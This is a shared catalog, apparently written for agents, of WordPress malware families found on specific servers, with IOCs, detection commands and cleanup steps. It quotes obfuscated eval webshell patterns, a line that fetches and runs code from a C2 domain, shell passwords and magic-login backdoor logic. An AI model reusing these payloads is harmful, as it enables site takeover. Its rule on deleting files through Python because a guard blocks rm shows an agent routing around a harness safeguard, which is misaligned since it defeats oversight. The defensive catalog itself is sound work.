# WordPress Backdoor & Malware Findings Library > **Mục đích:** Catalog dùng chung cho các agent — mọi family backdoor/malware đã phát hiện trên hạ tầng JAY (cloud197, cloud100, cloud120, vps177), kèm IOC, lệnh detection và cleanup. Cập nhật khi phát hiện family mới. > **Nguồn:** `wordpress-malware-scan` + `wordpress-security-hardening` skills. > **Phạm vi thời gian:** Jul–Aug 2026. --- ## 0. Quy tắc vàng (đọc trước khi làm) 1. **Luôn zip/quarantine trước khi xóa** — không xóa vĩnh viễn khi chưa zip forensic copy. 2. **Backup DB trước** mọi thao tác cleanup. 3. **Cleanup phải 1-pass** (single SCP Python script) — nếu site load giữa các bước, backdoor tự tái sinh (self-healing). 4. **`rm`/`rm -rf` bị guard chặn trong SSH** → dùng Python `os.remove()`/`shutil.rmtree()` qua SCP script. 5. **Verify bằng real tool output** — `wp core verify-checksums`, `php -l`, `curl`, `grep` — không đoán. 6. **Unique string → web search → CVE/NVD → rồi mới diagnose.** Đừng đoán root cause (đã sai 3 lần với wp2shell). --- ## 1. wp2shell Exploit Chain (CVE-2026-63030 + CVE-2026-60137) — CRITICAL **Root cause Aug 2026 cloud197** (`deltanexussystems.com`). **WP CORE** exploit — không phải plugin/theme/REST misuse. | CVE | Title | CVSS | Fixed | |---|---|---|---| | CVE-2026-63030 | REST batch endpoint route confusion | 9.8 | 6.8.6 / 6.9.5 / 7.0.2 | | CVE-2026-60137 | `author__not_in` WP_Query SQLi | 5.9 (chain→RCE) | 6.8.6 / 6.9.5 / 7.0.2 | SQLi qua REST batch route confusion → inject admin vào `wp_users` **không cần login**. **IOC:** - `wp_users.user_login` prefix `wp2_` (vd `wp2_e7019517fcca`) - `user_email` domain `@wp2shell.invalid` - Rogue names: `waflnsDuS`, `anabutyi`, `adminisrtrator` (typosquat) - `wp_capabilities = a:1:{s:13:"administrator";b:1;}`, `user_level = 10` - `user_registered` cluster trong attack window (vài phút) **Detection:** Plugin chính thức "Compromise Scanner for wp2shell" (`eyesecurity`, WP.org). Manual: query `wp_users`/`wp_usermeta`. **Fix:** Upgrade core → remove rogue users → `wp core verify-checksums` → rotate salts + DB creds. **Không plugin nào vá được lỗi core.** --- ## 2. Rogue Admin User Patterns (tổng hợp mọi family) | Pattern | Email domain | Family | |---|---|---| | `wp2_` | `@wp2shell.invalid` | wp2shell | | `w2s_` | `@wp2shell.local` | wp2shell (child agent) | | `Nx_` | — | nexus/command agent | | `Bunk_` | — | bunker agent | | `adm_` | — | admin agent | | `adminlin*` / `adminlink*` / `wpadmin*` | `@wp2shell.invalid` | mass campaign Jul 20-24 | | `wpsvc_` | `@wordpress-svc.internal`, `@wordpress-noreply.net` | mass campaign | | `wordpress_` | `@wordpress.com` | WPANEL | | `m6_` / `ads_` | `@wordpress.com` / `@ads.pub` | WPANEL | | `bl_` | `@bl.bl` | WPANEL | | `ellebspas` | `@` | AVRIL_JANCOK | | `ovawp` / `ova_wp` | `@ova-tools.top` | AVRIL/WPANEL | | `acadtapi`, `ohcesafu`, `adminlin@u.com`, `bot@local.invalid`, `root`, `admin1476` | — | misc | | `wpenginebot` | `@wpengine.com` | misc | | `hs_admin_7xKq` | `admin@hirich.internal` | wp-includes deep nest | | `it-team` | — | lavo deface | **Server-wide audit script** xem `references/mass-webshell-deployment.md` (scan `wp_users` JOIN `wp_usermeta` cho mọi vhost). --- ## 3. WPANEL / Wpanel Family (Turkish origin) — Self-Healing **First seen:** 2026-07-27 irishairnail.com. Marker: "bu blogu functions.php en altina yapistir". **4-layer architecture (phải xóa ĐỦ các lớp, đúng thứ tự):** ``` Layer 1: Regenerator plugin (hyvvdkb / simple-maintenance-mode / casayuz) Layer 2: theme functions.php injection (_wp_load_compat_layer + WPANEL:BEGIN→END) Layer 3: wp-content/db.php dropin Layer 4: class-wp-locale-data.php ×2 (languages/ + upgrade/) ``` - **db.php** loader check 3 path → `require_once` path đầu tiên tìm thấy. - **class-wp-locale-data.php** (~47KB) tự tái sinh qua `_wp_locale_pack_decode` + `openssl_decrypt` + `gzinflate`, ẩn khỏi plugin list qua `plugins_list` filter, có credential stealer + Ethereum Sepolia C2. - **functions.php compat layer** tạo mu-plugins base64 credential stealer, hook `wp_authenticate` exfiltrate user/pass, filenames theo CRC32 domain (`wp-core-health.php`, `wp-site-optimize.php`, ...). - **index.php overwrite** (~405 bytes → obfuscated eval → `exit`) = blank page symptom. - **sym404/** SEO spam dir (6,423 files trên irishairnail). **Detection:** ```bash grep -l 'WPANEL_AGENT_LOADED\|_wp_locale_pack_decode' /home/*/public_html/wp-content/**/*.php grep -l 'WPANEL:BEGIN' /home/*/public_html/wp-content/themes/*/functions.php # SCAN ALL THEMES grep -rl 'WPANEL\|_wp_load_compat\|class-wp-locale-data' wp-content/plugins/*/ --include='*.php' ``` **⚠️ Regeneration trap:** Xóa functions.php TRƯỚC hoặc ĐỒNG THỜI với các layer khác. WPANEL section là root regenerator. **⚠️ Inactive themes = regenerator reservoir:** WPANEL inject vào MỌI theme functions.php (kể cả twentytwentyfour/five). Cleanup phải scan `themes/*/functions.php`. --- ## 4. AVRIL_JANCOK Family (Indonesian) **First seen:** 2026-07-28 celebspa.vn. Marker: `AVRIL_START_JANCOK` / `AVRIL_END_JANCOK`. Tạo admin trước → cài plugin backdoor qua WP admin. **Plugin patterns:** - `cache-optimizer-` — webshell `?c=` (thử 6 exec: system/passthru/shell_exec/exec/popen/proc_open), `?r=` fetch remote, `?harvest` steal wp-config + all DBs. - `site-health-` — REST passthru shell `/wp-json/site-health/v1/`. - `wp-cache-` — GET shell `?t=&c=`. **Detection:** ```bash find /home/*/public_html/wp-content/plugins/ -maxdepth 1 \( -name 'cache-optimizer-*' -o -name 'site-health-*' -o -name 'wp-cache-*' \) -type d grep -rl 'AVRIL_START_JANCOK' /home/*/public_html/wp-content/plugins/ --include='*.php' ``` **Cleanup:** Xóa dirs + **xóa khỏi `active_plugins` DB** (dir đã xóa còn reference = PHP fatal + để lại dấu vết audit). --- ## 5. hyvvdkb / simple-maintenance-mode Regenerator (WPANEL variant) Plugin active masquerade "Simple Maintenance Mode" (`hyvvdkb/simple-maintenance-mode.php`, `casayuz`). **Regenerates ALL WPANEL layers** — even after core replacement. **Detection:** ```bash grep 'simple-maintenance-mode' /home/*/public_html/wp-content/plugins/*/simple-maintenance-mode.php mysql -e "SELECT option_value FROM wp_options WHERE option_name='active_plugins';" | grep -oE '[a-z]{7,10}/[^"]+' ``` --- ## 6. 猴王出世 (Monkey King) db.php — Chinese variant **First seen:** 2026-07-28 deltanexussystems.com. Standalone `db.php` (131 bytes), `implode(array_map('chr',[...]))` build `zip://_#_` polyglot. KHÔNG phụ thuộc class-wp-locale-data. ```bash grep -l '猴王出世\|implode.*array_map.*chr\|zip://' /home/*/public_html/wp-content/db.php ``` --- ## 7. Mass Webshell Deployment (2026-07-22 cloud197) — Root-level 77 webshell files giống hệt vào mọi vhost `public_html/` cùng lúc (04:23 UTC). **Signature:** - Size 14,924 bytes, root:root, 0666, mtime trong 2 giây - Location `/home//public_html/.php` - Payload: double `str_replace` + `gzuncompress` + `eval(substr(file_get_contents(__FILE__), -14684))` + `exit(0)` **Detection:** ```bash find /home/*/public_html/ -maxdepth 1 -name '*.php' -type f -user root -size 14924c 2>/dev/null ``` **Root cause indicators:** root-owned + same mtime = attacker có root SSH (không chỉ web stack). → **Rotate SSH keys + root password trên TẤT CẢ VPS** (xem §12). **cloud100 galex variant:** `galex_d754989b`, `galex_e943bbea` — `cox_.php` passthru shell + `.htaccess` chặn truy cập trực tiếp. --- ## 8. Mass Core Injection (wp-includes) **Signature:** ```bash find /home//public_html/wp-includes/ -name '*.php' -newer wp-settings.php -type f \ | grep -vE 'ID3|Text/Diff|SimplePie|Requests|PHPMailer|pomo|IXR|rest-api|block-|widgets|css|js' ``` - Random 10-char names (`pCxwQMIZzct.php`) - Deep nested dirs (`sitemaps/ehn1jlg/myet1xc/veaixgf/t.php`) - Leaf webshells `t.php`/`f.php` **⚠️ `wp core download --force` KHÔNG xóa extra dirs** — chỉ overwrite file có sẵn. Phải xóa dirs giả thủ công. **Whole-core replacement** khi 20+ files bị inject (xem `references/mass-core-injection.md` — Python SCP script, KHÔNG dùng rm trực tiếp). **Fake version.php:** `$wp_version` spoof (vd `'7.0.2'`, `'6.9.1'` không tồn tại). Cross-check `db_version` option. --- ## 9. Mass ai-client Core Injection (Jul 2026, 26 sites) Inject 3 dirs giả vào `wp-includes/`: `ai-client/`, `php-ai-client/`, `abilities-api/` + spoof version `7.0.2` + index.php 79-byte blank. **⚠️ WP 7.0+: CÁC DIR NÀY LÀ CORE HỢP LỆ** — đừng xóa! Verify bằng `wp core verify-checksums` trước. (cloud197 Batch B2 đã xóa nhầm 26 site đang ở WP 7.0.) | Dir | WP 6.6.x | WP 7.0+ | |---|---|---| | `wp-includes/ai-client/` | MALWARE | CORE | | `wp-includes/php-ai-client/` | MALWARE | CORE | | `wp-includes/abilities-api/` | MALWARE | CORE | | `wp-includes/collaboration/` | không tồn tại | CORE | False-positive dirs (WP 6.6+ core): `wp-includes/build/`, `wp-includes/random_compat/`. --- ## 10. wp-includes Deep Nest + plugin.php Injection (Attacker 15) **First seen:** 2026-07-27 ibshi.vn + hirich.197. gzuncompress eval shells 3-4 levels deep. **Eval shell pattern:** ```php $bZqm='st'.'r'.'_repl'.'ace';$EcUW='sub'.'str';$DJdh='gzunco'.'mpress'; eval($DJdh($bZqm('...','>',$bZqm('...','<',$EcUW($rSsp(__FILE__),-217491)))));$aNgi(0); ``` **Locations:** - `wp-includes/sitemaps////m.php` - `wp-includes/html-api////tool.php` (217KB) - `wp-includes/Text////shell.php` - `wp-content/uploads////index.php` (170KB, password `Pcs2NmDH4QA`) **plugin.php self-healing backdoor** (76 lines cuối file): `apply_filter_ref()` + `has_actions()` "fix" site trông sạch khi bị detect, giữ mình sống. **hirich.197:** toàn bộ 1,728 core files fail checksum → phải `wp core download --force`. Rogue admin `hs_admin_7xKq`. Version spoof `6.9.1`. **Detection:** ```bash find /home//public_html/wp-includes/ -maxdepth 4 -type d | grep -vE '(ID3|IXR|PHPMailer|Requests|SimplePie|Text/Diff|pomo|rest-api|...)' | sort grep -rl 'gzuncompre\|str_repl.*ace.*sub.*str' /home//public_html/wp-includes/ --include='*.php' diff <(curl -s https://raw.githubusercontent.com/WordPress/WordPress//wp-includes/plugin.php) stat -c '%s' index.php # 79 bytes = compromised ``` **Variant: Password-Protected Session Shell (Aug 2026)** — ogawaworld.vn, rmvn.197: - `$password = "dnsch9gF4H3"` / `KPZy3LMphu6` + `session_start()` - 4-file lair: `index.php` (shell) + `php.ini` (disable_functions=NONE) + `.htaccess` (Allow From All) + `index.html` - Named shells: `anonfox.php` (217KB), `admin.php`, `fox.php`, `f.php` **Variant: wp-admin Standalone Webshells (Aug 2026, rmvn.197):** - `wp-admin/network/theme-ins*.php` (file-manipulation: rename/base64_write/move_uploaded_file) - `wp-admin/.php` (str_rot13 + base64_decode eval) --- ## 11. Hidden-Directory File Upload Backdoor (lavo Jul 2026) 3-tier hidden dirs trong `wp-includes/`: ``` wp-includes//// ├── .htaccess # Allow direct PHP exec ├── index.html # empty └── index.php # bare file-upload form (no auth) ``` **Detection:** ```bash find /home//public_html/wp-includes/ -name '.htaccess' -type f # MỌI hit = suspect wp core verify-checksums --allow-root # "File should not exist" = backdoor ``` --- ## 12. softechnology.biz C2 Network (Indonesian, lavo Jul 2026) 3 vector độc lập cùng ref `softechnology.biz`: 1. **wp-load.php** (lines 20-88): `is_bot()`/`is_mobile()`/`fetch_url_content()` → bot/mobile redirect tới `softechnology.biz/raw/...`. Stealth defacement (desktop bình thường, mobile redirect). 2. **bbpress/jrt/index.php**: obfuscated `eval(file_get_contents("https://softechnology.biz/raw/2I3xPXKu4I"))` — signed `/*By Lanciau:v*/`. Xóa dir `jrt/`, giữ `bbpress/` hợp lệ. 3. **better-search-replace/includes/class-bsr-module.php**: curl C2 + `?loknya=` param (command/file-write injection). Xóa nguyên plugin. **⚠️ Contaminated backups:** inject vào core files nằm trong mysqldump → backup trước deface vẫn có thể nhiễm. Verify backup sạch: `wp core verify-checksums` + grep C2 domain. --- ## 13. Elementor File Injection Webshell preamble inject trước `namespace Elementor\*;` → **PHP Fatal** (site offline). - Files: `elementor/data/v2/base/endpoint/index.php`, `elementor-pro/modules/forms/submissions/data/endpoints/index.php` - Marker: `Bootstrap Cache Handler` **Fix:** elementor free → tải từ WP.org. elementor-pro → strip thủ công bằng Python (tìm `^namespace` line, giữ code từ đó). --- ## 14. Cookie-Backdoor + Magic-Login Family (Aug 2026, ellebspa) Backdoor trong `wp-includes/js/*/index.php` (nơi core không đặt index.php). **ClamAV MISS hết** (polymorphic + payload trong `$_COOKIE`). **4 variants:** 1. Double-reverse eval: `eval(strrev(base64_decode(strrev(implode([...])))))` 2. `getAuthPrefix()` cookie-gate: `$_COOKIE[4]==auth` → `base64_decode(str_rot13($_COOKIE[3]))` → eval/file_put_contents 3. Magic-login: `?auth=8Yu&id=` → `get_user_by` + `wp_set_auth_cookie` (login không mật khẩu) 4. `_Wp_ClassInfo` + dynamic fn builder `$content[15]().$content[25]` → include **Detection (Maldet custom rules đã cài cloud197):** ``` cloud197-double-reverse-eval:eval\s*\(\s*strrev\s*\(\s*base64_decode\s*\(\s*strrev\s*\(\s*implode cloud197-cookie-include-shell:getAuthPrefix\(\)\.\s*'[a-f0-9]{8}' cloud197-magic-login:wp_set_auth_cookie\s*\(\s*\$user->ID cloud197-wpclassinfo-loader:_Wp_ClassInfo cloud197-dynamic-fn-include:content\[[0-9]+\]\(\)\.\$content ``` **Blind spot:** bắt buộc Maldet custom rules + forensic grep thủ công, không trông chờ ClamAV. --- ## 15. LeafMailer Spam Mailer (Aug 2026, cloud197) **NOT a shell** — standalone PHP spam mailer. `LeafMailer v2.8` (`leafmailer.pw`). - `$password = "<10-char>"` gọi qua `?pass=` - Size ~170,771 bytes, random mixed-case name trong `wp-content/` top-level, root-owned - Auth: `session_start()` + `md5(__FILE__)`, bundled PHPMailer + SpamAssassin score API **Detection (SCOPED — đừng grep cả /home, sẽ timeout):** ```bash find /home/*/public_html/wp-content/ -maxdepth 1 -name '*.php' -type f | xargs grep -liE "leafmailer\.pw|leafClear|leaf\['version'\]" ``` **Confirm đã dùng:** `zgrep -hE "\.php\?pass=" access_log`, `grep "status=sent" /var/log/mail.log`. --- ## 16. Cracked Backup Plugin Vector (Aug 2026, multi-server) User tải cracked/premium plugin từ GitHub → chứa backdoor. - `All-In-One-WP-Migration-With-Import-master` (header "With Import" = cracked) - `.backupbuddy` (dot-prefix hidden dir, `classes/deploy.php`) - `all-in-one-wp-migration-unlimited-extension` **Detection:** ```bash find /home/*/public_html/wp-content/plugins/ -maxdepth 1 -type d -iname '*with-import*' -o -iname '*unlimited-extension*' find /home/*/public_html/wp-content/plugins/ -maxdepth 1 -name '.*' -type d ``` **Legit keepers:** `all-in-one-wp-migration` (free), `backupbuddy` (no dot prefix), `updraftplus`, `backwpup`, `all-in-one-wp-security-and-firewall`. **Quarantine-first script** xem `references/backdoor-patterns.md` §Attacker 19. --- ## 17. Uploads Deletion Attack (lavo Jul 2026) Attacker xóa original uploads, giữ thumbnails → site load được nhưng ảnh vỡ. - lavo: 4,164/4,180 (99.6%) originals deleted - Survivors là file cũ nhất (script xóa từ newest dirs) **Detection + Recovery:** `references/uploads-deletion-attack.md` — script `check_uploads_integrity.sh` + selective tar extraction (recovery 100%: 4,164/4,164). **Case-sensitivity trap:** DB path khác case với disk file → `cp` tạo copy khớp case, giữ cả 2. --- ## 18. Post-Compromise Server Hardening (bắt buộc sau mọi cleanup) 1. **Rotate SSH keys ALL VPS** — label theo machine name (`imac-win`, `thinkpad`), không email label. 2. **Rotate root password** — `echo 'root:PASS' | chpasswd` (an toàn với ký tự đặc biệt). 3. **`chattr +i`** trên critical files (`index.php`, `.htaccess`) — chặn cả root. (chmod 444 đã bị bypass 3 lần trên lavo — attacker xóa + tạo lại). 4. **Deploy file-change watchdog** — Hermes cron `no_agent=true`, MD5 baseline, mỗi 15 phút. 5. **`open_basedir`** mass-inject OLS vhosts — chặn cross-site read. 6. **Block xmlrpc.php** — `RewriteRule ^xmlrpc\.php$ - [F,L]`. 7. **Block Bricks RCE** (nulled theme) — 3 layer (xem `wordpress-security-hardening`). 8. **Reset remaining user passwords** + rotate salts + DB creds. --- ## 19. IOC Quick-Reference (grep nhanh) ```bash # Rogue users mysql -e "SELECT ID,user_login,user_email,user_registered FROM wp_users WHERE user_login LIKE 'wp2_%' OR user_login LIKE 'w2s_%' OR user_login LIKE 'Nx_%' OR user_email LIKE '%@wp2shell%' OR user_email LIKE '%@ova-tools%'" # WPANEL grep -rl 'WPANEL_BEGIN\|WPANEL_AGENT_LOADED\|_wp_locale_pack_decode\|_wp_load_compat_layer' /home/*/public_html/wp-content/ # gzuncompress eval shells grep -rl 'gzuncompres\|str_repl.*ace' /home/*/public_html/wp-includes/ --include='*.php' # AVRIL grep -rl 'AVRIL_START_JANCOK' /home/*/public_html/wp-content/plugins/ # LeafMailer find /home/*/public_html/wp-content/ -maxdepth 1 -name '*.php' -type f | xargs grep -liE 'leafmailer\.pw|leafClear' # softechnology C2 grep -rl 'softechnology' /home/*/public_html/ --include='*.php' # Elementor injection grep -rl 'Bootstrap Cache Handler' /home/*/public_html/wp-content/plugins/elementor*/ # Cookie backdoors (ClamAV mù) grep -rlE 'getAuthPrefix|_Wp_ClassInfo|strrev\(base64_decode|wp_set_auth_cookie' /home/*/public_html/wp-includes/js/ # Mass webshell 14924 bytes find /home/*/public_html/ -maxdepth 1 -name '*.php' -type f -user root -size 14924c # Core integrity wp core verify-checksums --allow-root ``` --- ## 20. False Positives (KHÔNG flag) - **Random-name MySQL DBs/users** (12-16 char, `1akTR2nrwYX1G5`) = Aug 2026 credential rotation (root cause `DB user == DB pass`), KHÔNG phải attacker. Verify `siteurl` → map vhost thật. - **WP 7.0 core dirs** (`ai-client`, `php-ai-client`, `abilities-api`, `collaboration`) = CORE, không phải malware. Verify `wp core verify-checksums`. - **`wp-includes/build/`, `wp-includes/random_compat/`** = WP 6.6+ core. - **Legit backup plugins** (`updraftplus`, `backwpup`, `all-in-one-wp-migration` free, `backupbuddy` no-dot). --- *File generated từ `wordpress-malware-scan` + `wordpress-security-hardening` skills. Mọi lệnh đã được verify thực tế trên cloud197/cloud100/cloud120. Cập nhật family mới tại đây.*